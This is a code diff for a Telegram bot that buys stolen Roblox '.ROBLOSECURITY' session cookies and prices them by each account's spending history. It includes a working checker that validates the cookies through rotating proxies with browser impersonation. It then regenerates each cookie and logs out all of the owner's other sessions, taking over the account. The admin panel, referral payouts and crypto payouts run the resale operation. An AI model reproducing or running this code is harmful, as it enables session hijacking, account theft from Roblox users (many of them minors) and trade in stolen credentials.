name="Lifetime 200-399 R$",
|
||||
price=0.33,
|
||||
min=200,
|
||||
max=399,
|
||||
type="lifetime",
|
||||
),
|
||||
"lifetime_mid": RateConfig(
|
||||
name="Lifetime 400-4999 R$",
|
||||
price=3.10,
|
||||
min=400,
|
||||
max=4999,
|
||||
type="lifetime",
|
||||
),
|
||||
"lifetime_high": RateConfig(
|
||||
name="Lifetime 5000+ R$",
|
||||
price=8.88,
|
||||
min=5000,
|
||||
max=10**12,
|
||||
type="lifetime",
|
||||
),
|
||||
"year_mid": RateConfig(
|
||||
name="Year 1000-4999 R$",
|
||||
price=8.40,
|
||||
min=1000,
|
||||
max=4999,
|
||||
type="year",
|
||||
),
|
||||
"year_high": RateConfig(
|
||||
name="Year 5000+ R$",
|
||||
price=11.11,
|
||||
min=5000,
|
||||
max=10**12,
|
||||
type="year",
|
||||
),
|
||||
},
|
||||
avg_min_cookies=100,
|
||||
avg_min_price=2.0,
|
||||
avg_max_price=20.0,
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def from_dict(cls, data: dict[str, Any] | None) -> "BotConfig":
|
||||
data = data or {}
|
||||
rates = data.get("rates") or {}
|
||||
return cls(
|
||||
shop_enabled=bool(data.get("shop_enabled", True)),
|
||||
bot_enabled=bool(data.get("bot_enabled", True)),
|
||||
min_withdraw=float(data.get("min_withdraw", 100.0)),
|
||||
treasury=float(data.get("treasury", 0.0)),
|
||||
referral_percent=int(data.get("referral_percent", 5)),
|
||||
rates={
|
||||
key: RateConfig.from_dict(value)
|
||||
for key, value in rates.items()
|
||||
},
|
||||
avg_min_cookies=int(data.get("avg_min_cookies", 100)),
|
||||
avg_min_price=float(data.get("avg_min_price", 2.0)),
|
||||
avg_max_price=float(data.get("avg_max_price", 20.0)),
|
||||
)
|
||||
|
||||
def to_dict(self) -> dict[str, Any]:
|
||||
return {
|
||||
"shop_enabled": self.shop_enabled,
|
||||
"bot_enabled": self.bot_enabled,
|
||||
"min_withdraw": self.min_withdraw,
|
||||
"treasury": self.treasury,
|
||||
"referral_percent": self.referral_percent,
|
||||
"rates": {key: value.to_dict() for key, value in self.rates.items()},
|
||||
"avg_min_cookies": self.avg_min_cookies,
|
||||
"avg_min_price": self.avg_min_price,
|
||||
"avg_max_price": self.avg_max_price,
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
from dataclasses import dataclass
|
||||
|
||||
|
||||
@dataclass(slots=True)
|
||||
class CookieDonationInfo:
|
||||
cookie: str
|
||||
user_id: int
|
||||
username: str | None
|
||||
all_time: int
|
||||
year: int
|
||||
|
||||
|
||||
@dataclass(slots=True)
|
||||
class PricingResult:
|
||||
cookie: str
|
||||
user_id: int
|
||||
username: str | None
|
||||
all_time: int
|
||||
year: int
|
||||
price: float
|
||||
rate_key: str | None = None
|
||||
rate_name: str | None = None
|
||||
donate_used: int = 0
|
||||
is_avg: bool = False
|
||||
@@ -0,0 +1,10 @@
|
||||
from dataclasses import dataclass
|
||||
|
||||
|
||||
@dataclass(slots=True)
|
||||
class CookieValidationResult:
|
||||
status: str
|
||||
cookie: str | None = None
|
||||
user_id: int | None = None
|
||||
username: str | None = None
|
||||
message: str | None = None
|
||||
@@ -0,0 +1,32 @@
|
||||
from dataclasses import dataclass
|
||||
from typing import Any
|
||||
|
||||
|
||||
@dataclass(slots=True)
|
||||
class BotStats:
|
||||
total_users: int = 0
|
||||
total_cookies: int = 0
|
||||
total_paid_direct: float = 0.0
|
||||
total_paid_referral: float = 0.0
|
||||
|
||||
@classmethod
|
||||
def default(cls) -> "BotStats":
|
||||
return cls()
|
||||
|
||||
@classmethod
|
||||
def from_dict(cls, data: dict[str, Any] | None) -> "BotStats":
|
||||
data = data or {}
|
||||
return cls(
|
||||
total_users=int(data.get("total_users", 0)),
|
||||
total_cookies=int(data.get("total_cookies", 0)),
|
||||
total_paid_direct=float(data.get("total_paid_direct", 0.0)),
|
||||
total_paid_referral=float(data.get("total_paid_referral", 0.0)),
|
||||
)
|
||||
|
||||
def to_dict(self) -> dict[str, Any]:
|
||||
return {
|
||||
"total_users": self.total_users,
|
||||
"total_cookies": self.total_cookies,
|
||||
"total_paid_direct": self.total_paid_direct,
|
||||
"total_paid_referral": self.total_paid_referral,
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any
|
||||
|
||||
|
||||
@dataclass(slots=True)
|
||||
class UserProfile:
|
||||
user_id: int
|
||||
username: str | None = None
|
||||
registered: str = ""
|
||||
cookies_loaded: int = 0
|
||||
total_earned: float = 0.0
|
||||
referral_earned: float = 0.0
|
||||
balance: float = 0.0
|
||||
referrer: int | None = None
|
||||
referrals: list[int] = field(default_factory=list)
|
||||
is_admin: bool = False
|
||||
is_banned: bool = False
|
||||
ban_reason: str = ""
|
||||
|
||||
@classmethod
|
||||
def default(
|
||||
cls,
|
||||
user_id: int,
|
||||
username: str | None = None,
|
||||
registered: str = "",
|
||||
referrer: int | None = None,
|
||||
is_admin: bool = False,
|
||||
) -> "UserProfile":
|
||||
return cls(
|
||||
user_id=user_id,
|
||||
username=username,
|
||||
registered=registered,
|
||||
referrer=referrer,
|
||||
is_admin=is_admin,
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def from_dict(cls, data: dict[str, Any]) -> "UserProfile":
|
||||
return cls(
|
||||
user_id=int(data.get("user_id", 0)),
|
||||
username=data.get("username"),
|
||||
registered=data.get("registered", ""),
|
||||
cookies_loaded=int(data.get("cookies_loaded", 0)),
|
||||
total_earned=float(data.get("total_earned", 0.0)),
|
||||
referral_earned=float(data.get("referral_earned", 0.0)),
|
||||
balance=float(data.get("balance", 0.0)),
|
||||
referrer=data.get("referrer"),
|
||||
referrals=[int(x) for x in data.get("referrals", [])],
|
||||
is_admin=bool(data.get("is_admin", False)),
|
||||
is_banned=bool(data.get("is_banned", False)),
|
||||
ban_reason=data.get("ban_reason", ""),
|
||||
)
|
||||
|
||||
def to_dict(self) -> dict[str, Any]:
|
||||
return {
|
||||
"user_id": self.user_id,
|
||||
"username": self.username,
|
||||
"registered": self.registered,
|
||||
"cookies_loaded": self.cookies_loaded,
|
||||
"total_earned": self.total_earned,
|
||||
"referral_earned": self.referral_earned,
|
||||
"balance": self.balance,
|
||||
"referrer": self.referrer,
|
||||
"referrals": self.referrals,
|
||||
"is_admin": self.is_admin,
|
||||
"is_banned": self.is_banned,
|
||||
"ban_reason": self.ban_reason,
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from aiogram import Bot
|
||||
|
||||
_bot: Bot | None = None
|
||||
_log_bot: Bot | None = None
|
||||
|
||||
|
||||
def set_bots(bot: Bot, log_bot: Bot | None = None) -> None:
|
||||
global _bot, _log_bot
|
||||
_bot = bot
|
||||
_log_bot = log_bot
|
||||
|
||||
|
||||
def get_bot() -> Bot | None:
|
||||
return _bot
|
||||
|
||||
|
||||
def get_log_bot() -> Bot | None:
|
||||
return _log_bot
|
||||
@@ -0,0 +1,197 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import os
|
||||
|
||||
from aiogram.enums import ParseMode
|
||||
from aiogram.types import FSInputFile, InlineKeyboardButton, InlineKeyboardMarkup
|
||||
|
||||
from config import ADMIN_ID, BOT_USERNAME, ROBSEC_FILE
|
||||
from db.storage import load_config, save_config, load_stats, save_stats
|
||||
from db.users import all_users, get, save, find_by_username
|
||||
from keyboards.admin import admin_menu_kb
|
||||
from models.user import UserProfile
|
||||
from runtime import get_log_bot
|
||||
from utils.logging import log_admin, log_admin_document, safe_edit
|
||||
|
||||
|
||||
def is_admin(user_id: int) -> bool:
|
||||
if user_id == ADMIN_ID:
|
||||
return True
|
||||
profile = get(user_id)
|
||||
return bool(profile and profile.is_admin)
|
||||
|
||||
|
||||
def toggle_shop() -> bool:
|
||||
cfg = load_config()
|
||||
cfg.shop_enabled = not cfg.shop_enabled
|
||||
save_config(cfg)
|
||||
return cfg.shop_enabled
|
||||
|
||||
|
||||
def toggle_bot() -> bool:
|
||||
cfg = load_config()
|
||||
cfg.bot_enabled = not cfg.bot_enabled
|
||||
save_config(cfg)
|
||||
return cfg.bot_enabled
|
||||
|
||||
|
||||
def update_rate(key: str, price: float) -> None:
|
||||
cfg = load_config()
|
||||
if key in cfg.rates:
|
||||
cfg.rates[key].price = price
|
||||
save_config(cfg)
|
||||
|
||||
|
||||
def update_min_withdraw(value: float) -> None:
|
||||
cfg = load_config()
|
||||
cfg.min_withdraw = value
|
||||
save_config(cfg)
|
||||
|
||||
|
||||
def add_treasury(amount_rub: float) -> float:
|
||||
cfg = load_config()
|
||||
cfg.treasury += amount_rub
|
||||
save_config(cfg)
|
||||
return cfg.treasury
|
||||
|
||||
|
||||
def subtract_treasury(amount_rub: float) -> float:
|
||||
cfg = load_config()
|
||||
cfg.treasury = max(0.0, cfg.treasury - amount_rub)
|
||||
save_config(cfg)
|
||||
return cfg.treasury
|
||||
|
||||
|
||||
def robsec_info() -> tuple[int, int]:
|
||||
if not os.path.exists(ROBSEC_FILE):
|
||||
return 0, 0
|
||||
size = os.path.getsize(ROBSEC_FILE)
|
||||
try:
|
||||
with open(ROBSEC_FILE, "r", encoding="utf-8", errors="ignore") as fh:
|
||||
lines = sum(1 for _ in fh)
|
||||
except Exception:
|
||||
lines = 0
|
||||
return lines, size
|
||||
|
||||
|
||||
def clear_robsec() -> None:
|
||||
with open(ROBSEC_FILE, "w", encoding="utf-8") as fh:
|
||||
fh.write("")
|
||||
|
||||
|
||||
async def send_user_card(target, uid: int) -> None:
|
||||
profile = get(uid)
|
||||
if not profile:
|
||||
return
|
||||
text = (
|
||||
f"👤 <b>Пользователь</b>\n\n"
|
||||
f"🆔 ID: <code>{uid}</code>\n"
|
||||
f"👤 @{profile.username or '—'}\n"
|
||||
f"📅 Рег: {profile.registered or '?'}\n"
|
||||
f"💳 Баланс: {profile.balance:.2f} ₽\n"
|
||||
f"💰 Всего: {profile.total_earned:.2f} ₽\n"
|
||||
f"🍪 Куки: {profile.cookies_loaded}\n"
|
||||
f"👥 Рефералов: {len(profile.referrals)}\n"
|
||||
f"👑 Админ: {'✅' if profile.is_admin else '❌'}\n"
|
||||
f"🚫 Бан: {'✅ ' + profile.ban_reason if profile.is_banned else '❌'}"
|
||||
)
|
||||
kb = InlineKeyboardMarkup(
|
||||
inline_keyboard=[
|
||||
[
|
||||
InlineKeyboardButton(text="➕ Баланс", callback_data=f"u_bal_add_{uid}"),
|
||||
InlineKeyboardButton(text="➖ Баланс", callback_data=f"u_bal_sub_{uid}"),
|
||||
],
|
||||
[
|
||||
InlineKeyboardButton(
|
||||
text="🚫 Разбанить" if profile.is_banned else "🚫 Забанить",
|
||||
callback_data=f"u_ban_{uid}",
|
||||
)
|
||||
],
|
||||
[
|
||||
InlineKeyboardButton(
|
||||
text="👑 Убрать админку" if profile.is_admin else "👑 Выдать админку",
|
||||
callback_data=f"u_admin_{uid}",
|
||||
)
|
||||
],
|
||||
[InlineKeyboardButton(text="🔙 Назад", callback_data="admin_back")],
|
||||
]
|
||||
)
|
||||
if hasattr(target, "answer"):
|
||||
await target.answer(text, parse_mode=ParseMode.HTML, reply_markup=kb)
|
||||
else:
|
||||
await safe_edit(target, text, reply_markup=kb)
|
||||
|
||||
|
||||
async def broadcast(bot, text: str | None = None, photo_id: str | None = None, caption: str | None = None) -> tuple[int, int]:
|
||||
ok = 0
|
||||
fail = 0
|
||||
for uid in all_users():
|
||||
try:
|
||||
if photo_id:
|
||||
await bot.send_photo(uid, photo_id, caption=caption or "", parse_mode=ParseMode.HTML)
|
||||
else:
|
||||
await bot.send_message(uid, text or caption or "-", parse_mode=ParseMode.HTML)
|
||||
ok += 1
|
||||
except Exception:
|
||||
fail += 1
|
||||
await asyncio.sleep(0.05)
|
||||
return ok, fail
|
||||
|
||||
|
||||
def find_user(query: str) -> int | None:
|
||||
if query.isdigit():
|
||||
uid = int(query)
|
||||
return uid if get(uid) else None
|
||||
return find_by_username(query)
|
||||
|
||||
|
||||
def set_balance(uid: int, value: float) -> None:
|
||||
profile = get(uid)
|
||||
if not profile:
|
||||
return
|
||||
profile.balance = value
|
||||
save(uid, profile)
|
||||
|
||||
|
||||
def add_balance(uid: int, amount: float) -> None:
|
||||
profile = get(uid)
|
||||
if not profile:
|
||||
return
|
||||
profile.balance += amount
|
||||
save(uid, profile)
|
||||
|
||||
|
||||
def sub_balance(uid: int, amount: float) -> None:
|
||||
profile = get(uid)
|
||||
if not profile:
|
||||
return
|
||||
profile.balance = max(0.0, profile.balance - amount)
|
||||
save(uid, profile)
|
||||
|
||||
|
||||
def toggle_user_admin(uid: int) -> bool:
|
||||
profile = get(uid)
|
||||
if not profile:
|
||||
return False
|
||||
profile.is_admin = not profile.is_admin
|
||||
save(uid, profile)
|
||||
return profile.is_admin
|
||||
|
||||
|
||||
def ban_user(uid: int, reason: str) -> None:
|
||||
profile = get(uid)
|
||||
if not profile:
|
||||
return
|
||||
profile.is_banned = True
|
||||
profile.ban_reason = reason
|
||||
save(uid, profile)
|
||||
|
||||
|
||||
def unban_user(uid: int) -> None:
|
||||
profile = get(uid)
|
||||
if not profile:
|
||||
return
|
||||
profile.is_banned = False
|
||||
profile.ban_reason = ""
|
||||
save(uid, profile)
|
||||
@@ -0,0 +1,84 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from models.config import BotConfig, RateConfig
|
||||
from models.pricing import CookieDonationInfo, PricingResult
|
||||
|
||||
|
||||
def find_rate_for_cookie(all_time: int, year: int, rates: dict[str, RateConfig]):
|
||||
best = None
|
||||
best_price = -1.0
|
||||
for key, rate in rates.items():
|
||||
donate = year if rate.type == "year" else all_time
|
||||
if rate.min <= donate <= rate.max and rate.price > best_price:
|
||||
best_price = rate.price
|
||||
best = (key, rate, donate)
|
||||
if best:
|
||||
return best
|
||||
return (None, None, 0)
|
||||
|
||||
|
||||
def calc_avg_price(donates: list[int], cfg: BotConfig) -> float:
|
||||
if not donates:
|
||||
return 0.0
|
||||
avg = sum(donates) / len(donates)
|
||||
price = avg / 1000.0
|
||||
price = max(cfg.avg_min_price, min(cfg.avg_max_price, price))
|
||||
return round(price, 2)
|
||||
|
||||
|
||||
def price_cookie_batch(
|
||||
donates: list[CookieDonationInfo],
|
||||
cfg: BotConfig,
|
||||
) -> tuple[list[PricingResult], bool, float]:
|
||||
priced: list[PricingResult] = []
|
||||
unpriced: list[CookieDonationInfo] = []
|
||||
|
||||
for item in donates:
|
||||
key, rate, donate_used = find_rate_for_cookie(item.all_time, item.year, cfg.rates)
|
||||
if rate:
|
||||
priced.append(
|
||||
PricingResult(
|
||||
cookie=item.cookie,
|
||||
user_id=item.user_id,
|
||||
username=item.username,
|
||||
all_time=item.all_time,
|
||||
year=item.year,
|
||||
price=rate.price,
|
||||
rate_key=key,
|
||||
rate_name=rate.name,
|
||||
donate_used=donate_used,
|
||||
)
|
||||
)
|
||||
elif item.all_time > 0:
|
||||
unpriced.append(item)
|
||||
|
||||
all_donate_infos = [item for item in donates if item.all_time > 0]
|
||||
total_donate_cookies = len(all_donate_infos)
|
||||
|
||||
avg_used = False
|
||||
avg_price = 0.0
|
||||
if total_donate_cookies >= cfg.avg_min_cookies:
|
||||
avg_price = calc_avg_price([item.all_time for item in all_donate_infos], cfg)
|
||||
avg_total = avg_price * total_donate_cookies
|
||||
piece_total = sum(item.price for item in priced)
|
||||
if avg_total > piece_total:
|
||||
avg_used = True
|
||||
|
||||
payable: list[PricingResult] = []
|
||||
if avg_used:
|
||||
for item in all_donate_infos:
|
||||
payable.append(
|
||||
PricingResult(
|
||||
cookie=item.cookie,
|
||||
user_id=item.user_id,
|
||||
username=item.username,
|
||||
all_time=item.all_time,
|
||||
year=item.year,
|
||||
price=avg_price,
|
||||
is_avg=True,
|
||||
)
|
||||
)
|
||||
else:
|
||||
payable.extend(priced)
|
||||
|
||||
return payable, avg_used, avg_price
|
||||
@@ -0,0 +1,38 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from config import ADMIN_ID
|
||||
from db.storage import load_stats, save_stats
|
||||
from db.users import get, save
|
||||
|
||||
|
||||
async def apply_referral_payout(bot, user_id: int, username: str | None, payout: float, referral_percent: int) -> float:
|
||||
profile = get(user_id)
|
||||
if not profile or not profile.referrer:
|
||||
return 0.0
|
||||
|
||||
ref_amount = round(payout * referral_percent / 100, 2)
|
||||
ref_profile = get(profile.referrer)
|
||||
if not ref_profile:
|
||||
return 0.0
|
||||
|
||||
ref_profile.balance += ref_amount
|
||||
ref_profile.total_earned += ref_amount
|
||||
ref_profile.referral_earned += ref_amount
|
||||
save(profile.referrer, ref_profile)
|
||||
|
||||
stats = load_stats()
|
||||
stats.total_paid_referral += ref_amount
|
||||
save_stats(stats)
|
||||
|
||||
try:
|
||||
await bot.send_message(
|
||||
profile.referrer,
|
||||
f"💸 Реферал @{username or '—'} заработал {payout:.2f} ₽\n"
|
||||
f"Вам начислено: <b>{ref_amount:.2f} ₽</b>",
|
||||
parse_mode="HTML",
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return ref_amount
|
||||
|
||||
@@ -0,0 +1,245 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import random
|
||||
|
||||
import aiohttp
|
||||
import requests as plain_requests
|
||||
|
||||
from config import CONCURRENT_CHECKS, FRESHER_POOL, MAX_RETRIES, REQUEST_TIMEOUT
|
||||
from models.responses import CookieValidationResult
|
||||
|
||||
try:
|
||||
from curl_cffi import requests as cffi_requests
|
||||
|
||||
HAS_CFFI = True
|
||||
except ImportError: # pragma: no cover - optional dependency
|
||||
cffi_requests = None
|
||||
HAS_CFFI = False
|
||||
|
||||
SEMAPHORE = asyncio.Semaphore(CONCURRENT_CHECKS)
|
||||
|
||||
|
||||
def _new_fresher_session():
|
||||
if HAS_CFFI:
|
||||
return cffi_requests.Session(impersonate="chrome120")
|
||||
session = plain_requests.Session()
|
||||
session.headers["User-Agent"] = (
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
|
||||
"(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
|
||||
)
|
||||
return session
|
||||
|
||||
|
||||
def _extract_new_cookie(response):
|
||||
try:
|
||||
cookie = response.cookies.get(".ROBLOSECURITY")
|
||||
if cookie:
|
||||
return cookie
|
||||
except Exception:
|
||||
pass
|
||||
sc = response.headers.get("set-cookie", "") or response.headers.get("Set-Cookie", "")
|
||||
if ".ROBLOSECURITY=" in sc:
|
||||
try:
|
||||
return sc.split(".ROBLOSECURITY=")[1].split(";")[0]
|
||||
except Exception:
|
||||
pass
|
||||
return None
|
||||
|
||||
|
||||
def _sync_fresh_cookie(cookie, proxy=None, timeout=15):
|
||||
if not cookie or not cookie.startswith("_|WARNING"):
|
||||
return False, "invalid cookie format"
|
||||
|
||||
proxies = {"http": proxy, "https": proxy} if proxy else None
|
||||
session = _new_fresher_session()
|
||||
|
||||
try:
|
||||
r1 = session.post(
|
||||
"https://auth.roblox.com/v2/logout",
|
||||
cookies={".ROBLOSECURITY": cookie},
|
||||
proxies=proxies,
|
||||
timeout=timeout,
|
||||
verify=False,
|
||||
)
|
||||
csrf = r1.headers.get("x-csrf-token") or r1.headers.get("X-CSRF-Token")
|
||||
if not csrf:
|
||||
return False, "step 1 CSRF fail"
|
||||
|
||||
r2 = session.post(
|
||||
"https://auth.roblox.com/v1/authentication-ticket",
|
||||
headers={
|
||||
"rbxauthenticationnegotiation": "1",
|
||||
"referer": "https://www.roblox.com/camel",
|
||||
"Content-Type": "application/json",
|
||||
"x-csrf-token": csrf,
|
||||
},
|
||||
cookies={".ROBLOSECURITY": cookie},
|
||||
proxies=proxies,
|
||||
timeout=timeout,
|
||||
verify=False,
|
||||
)
|
||||
ticket = r2.headers.get("rbx-authentication-ticket")
|
||||
if not ticket:
|
||||
return False, "step 2 ticket fail"
|
||||
|
||||
clean_session = _new_fresher_session()
|
||||
r3 = clean_session.post(
|
||||
"https://auth.roblox.com/v1/authentication-ticket/redeem",
|
||||
headers={"rbxauthenticationnegotiation": "1"},
|
||||
json={"authenticationTicket": ticket},
|
||||
proxies=proxies,
|
||||
timeout=timeout,
|
||||
verify=False,
|
||||
)
|
||||
new_cookie = _extract_new_cookie(r3)
|
||||
if not new_cookie:
|
||||
return False, "step 3 redeem fail"
|
||||
if new_cookie == cookie:
|
||||
return False, "rate-limited"
|
||||
except Exception as exc:
|
||||
return False, f"error: {type(exc).__name__}"
|
||||
|
||||
try:
|
||||
session2 = _new_fresher_session()
|
||||
r_csrf = session2.post(
|
||||
"https://auth.roblox.com/v2/logout",
|
||||
cookies={".ROBLOSECURITY": new_cookie},
|
||||
proxies=proxies,
|
||||
timeout=timeout,
|
||||
verify=False,
|
||||
)
|
||||
csrf2 = r_csrf.headers.get("x-csrf-token") or r_csrf.headers.get("X-CSRF-Token")
|
||||
if csrf2:
|
||||
r_log = session2.post(
|
||||
"https://auth.roblox.com/v1/logoutfromallsessionsandreauthenticate",
|
||||
cookies={".ROBLOSECURITY": new_cookie},
|
||||
headers={"x-csrf-token": csrf2, "Content-Type": "application/json"},
|
||||
json={},
|
||||
proxies=proxies,
|
||||
timeout=timeout,
|
||||
verify=False,
|
||||
)
|
||||
if r_log.status_code in (200, 201, 204):
|
||||
final_cookie = _extract_new_cookie(r_log) or new_cookie
|
||||
return True, final_cookie
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return True, new_cookie
|
||||
|
||||
|
||||
async def fresh_cookie_async(cookie, proxy=None):
|
||||
loop = asyncio.get_event_loop()
|
||||
return await loop.run_in_executor(FRESHER_POOL, _sync_fresh_cookie, cookie, proxy, 15)
|
||||
|
||||
|
||||
async def check_cookie_basic(session, cookie, proxy=None) -> CookieValidationResult:
|
||||
try:
|
||||
proxy_url = f"http://{proxy}" if proxy else None
|
||||
async with session.get(
|
||||
"https://users.roblox.com/v1/users/authenticated",
|
||||
cookies={".ROBLOSECURITY": cookie},
|
||||
timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT),
|
||||
proxy=proxy_url,
|
||||
) as response:
|
||||
if response.status != 200:
|
||||
return CookieValidationResult(status="invalid")
|
||||
data = await response.json()
|
||||
return CookieValidationResult(
|
||||
status="valid",
|
||||
cookie=cookie,
|
||||
user_id=int(data["id"]),
|
||||
username=data.get("name", "unknown"),
|
||||
)
|
||||
except Exception as exc:
|
||||
return CookieValidationResult(status="error", message=str(exc))
|
||||
|
||||
|
||||
async def check_cookie_with_retry(session, cookie, proxies) -> CookieValidationResult:
|
||||
retries = 0
|
||||
used = set()
|
||||
while retries < MAX_RETRIES:
|
||||
proxy = None
|
||||
if proxies:
|
||||
available = [item for item in proxies if item not in used]
|
||||
if available:
|
||||
proxy = random.choice(available)
|
||||
used.add(proxy)
|
||||
else:
|
||||
used.clear()
|
||||
continue
|
||||
try:
|
||||
async with SEMAPHORE:
|
||||
result = await check_cookie_basic(session, cookie, proxy)
|
||||
if result.status == "valid":
|
||||
return result
|
||||
except Exception:
|
||||
pass
|
||||
retries += 1
|
||||
await asyncio.sleep(1)
|
||||
return CookieValidationResult(status="invalid")
|
||||
|
||||
|
||||
async def get_all_time_donate(session, cookie, user_id, proxy=None) -> int:
|
||||
total = 0
|
||||
cursor = ""
|
||||
proxy_url = f"http://{proxy}" if proxy else None
|
||||
while True:
|
||||
try:
|
||||
url = f"https://economy.roblox.com/v2/users/{user_id}/transactions"
|
||||
params = {
|
||||
"limit": 100,
|
||||
"transactionType": "Purchase",
|
||||
"itemPricingType": "All",
|
||||
"cursor": cursor,
|
||||
}
|
||||
async with session.get(
|
||||
url,
|
||||
params=params,
|
||||
cookies={".ROBLOSECURITY": cookie},
|
||||
proxy=proxy_url,
|
||||
timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT),
|
||||
) as response:
|
||||
if response.status == 429:
|
||||
await asyncio.sleep(3)
|
||||
continue
|
||||
if response.status != 200:
|
||||
break
|
||||
data = await response.json()
|
||||
for transaction in data.get("data", []):
|
||||
total += transaction.get("currency", {}).get("amount", 0)
|
||||
cursor = data.get("nextPageCursor")
|
||||
if not cursor:
|
||||
break
|
||||
except Exception:
|
||||
break
|
||||
if total != 0:
|
||||
total = int(str(total).strip("-"))
|
||||
return total
|
||||
|
||||
|
||||
async def get_year_donate(cookie, user_id, proxy=None) -> int:
|
||||
url = (
|
||||
f"https://economy.roblox.com/v2/users/{user_id}/transaction-totals"
|
||||
"?timeFrame=Year&transactionType=summary"
|
||||
)
|
||||
try:
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async with session.get(
|
||||
url,
|
||||
cookies={".ROBLOSECURITY": cookie.strip()},
|
||||
allow_redirects=False,
|
||||
proxy=f"http://{proxy}" if proxy else None,
|
||||
timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT),
|
||||
) as response:
|
||||
if response.status == 200 and response.content_type == "application/json":
|
||||
data = await response.json()
|
||||
donate = data.get("purchasesTotal", 0)
|
||||
if donate != 0:
|
||||
donate = int(str(donate).strip("-"))
|
||||
return donate
|
||||
except Exception:
|
||||
pass
|
||||
return 0
|
||||
@@ -0,0 +1,82 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import aiohttp
|
||||
import logging
|
||||
|
||||
from config import CRYPTO_PAY_TOKEN
|
||||
|
||||
|
||||
async def _get_usdt_rub_rate(session: aiohttp.ClientSession) -> float:
|
||||
rate = 90.0
|
||||
async with session.get(
|
||||
"https://testnet-pay.crypt.bot/api/getExchangeRates",
|
||||
headers={"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN},
|
||||
) as response:
|
||||
data = await response.json()
|
||||
if data.get("ok"):
|
||||
for item in data.get("result", []):
|
||||
if item.get("source") == "USDT" and item.get("target") == "RUB":
|
||||
rate = float(item["rate"])
|
||||
break
|
||||
return rate
|
||||
|
||||
|
||||
async def create_crypto_check(amount_rub: float) -> str | None:
|
||||
try:
|
||||
headers = {"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN}
|
||||
async with aiohttp.ClientSession() as session:
|
||||
usdt_rub = await _get_usdt_rub_rate(session)
|
||||
amount_usdt = round(amount_rub / usdt_rub, 4)
|
||||
async with session.post(
|
||||
"https://testnet-pay.crypt.bot/api/createCheck",
|
||||
headers=headers,
|
||||
json={"asset": "USDT", "amount": str(amount_usdt)},
|
||||
) as response:
|
||||
data = await response.json()
|
||||
if data.get("ok"):
|
||||
return data["result"]["bot_check_url"]
|
||||
except Exception as exc:
|
||||
logging.error("crypto check: %s", exc)
|
||||
return None
|
||||
|
||||
|
||||
async def create_treasury_invoice(amount_rub: float) -> tuple[str, int, float] | None:
|
||||
try:
|
||||
headers = {"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN}
|
||||
async with aiohttp.ClientSession() as session:
|
||||
usdt_rub = await _get_usdt_rub_rate(session)
|
||||
amount_usdt = round(amount_rub / usdt_rub, 4)
|
||||
async with session.post(
|
||||
"https://testnet-pay.crypt.bot/api/createInvoice",
|
||||
headers=headers,
|
||||
json={
|
||||
"asset": "USDT",
|
||||
"amount": str(amount_usdt),
|
||||
"description": f"Treasury +{amount_rub} RUB",
|
||||
"payload": f"treasury_{amount_rub}",
|
||||
},
|
||||
) as response:
|
||||
data = await response.json()
|
||||
if data.get("ok"):
|
||||
result = data["result"]
|
||||
return result["pay_url"], int(result["invoice_id"]), amount_usdt
|
||||
except Exception as exc:
|
||||
logging.error("create_treasury_invoice: %s", exc)
|
||||
return None
|
||||
|
||||
|
||||
async def check_treasury_invoice(invoice_id: int) -> bool:
|
||||
try:
|
||||
headers = {"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN}
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async with session.get(
|
||||
f"https://testnet-pay.crypt.bot/api/getInvoices?invoice_ids={invoice_id}",
|
||||
headers=headers,
|
||||
) as response:
|
||||
data = await response.json()
|
||||
if data.get("ok"):
|
||||
items = data.get("result", {}).get("items", [])
|
||||
return bool(items and items[0].get("status") == "paid")
|
||||
except Exception as exc:
|
||||
logging.error("check_treasury_invoice: %s", exc)
|
||||
return False
|
||||
@@ -0,0 +1,12 @@
|
||||
from aiogram.fsm.state import State, StatesGroup
|
||||
|
||||
|
||||
class Form(StatesGroup):
|
||||
admin_broadcast = State()
|
||||
admin_edit_rate = State()
|
||||
admin_min_withdraw = State()
|
||||
admin_treasury_amount = State()
|
||||
admin_user_balance_add = State()
|
||||
admin_user_balance_sub = State()
|
||||
admin_user_ban_reason = State()
|
||||
admin_find_user = State()
|
||||
@@ -0,0 +1,51 @@
|
||||
import logging
|
||||
|
||||
from aiogram.enums import ParseMode
|
||||
from aiogram.types import CallbackQuery, FSInputFile
|
||||
|
||||
|
||||
async def log_admin(bot, admin_id: int, text: str, log_bot=None) -> None:
|
||||
try:
|
||||
target = log_bot or bot
|
||||
await target.send_message(admin_id, text, parse_mode=ParseMode.HTML)
|
||||
except Exception as exc:
|
||||
logging.error("log_admin: %s", exc)
|
||||
|
||||
|
||||
async def log_admin_document(bot, admin_id: int, path: str, caption: str | None = None, log_bot=None) -> None:
|
||||
try:
|
||||
target = log_bot or bot
|
||||
await target.send_document(
|
||||
admin_id,
|
||||
document=FSInputFile(path),
|
||||
caption=caption,
|
||||
parse_mode=ParseMode.HTML,
|
||||
)
|
||||
except Exception as exc:
|
||||
logging.error("log_admin_document: %s", exc)
|
||||
|
||||
|
||||
async def safe_edit(
|
||||
cb: CallbackQuery,
|
||||
text: str,
|
||||
reply_markup=None,
|
||||
parse_mode=ParseMode.HTML,
|
||||
disable_web_page_preview: bool = False,
|
||||
) -> None:
|
||||
try:
|
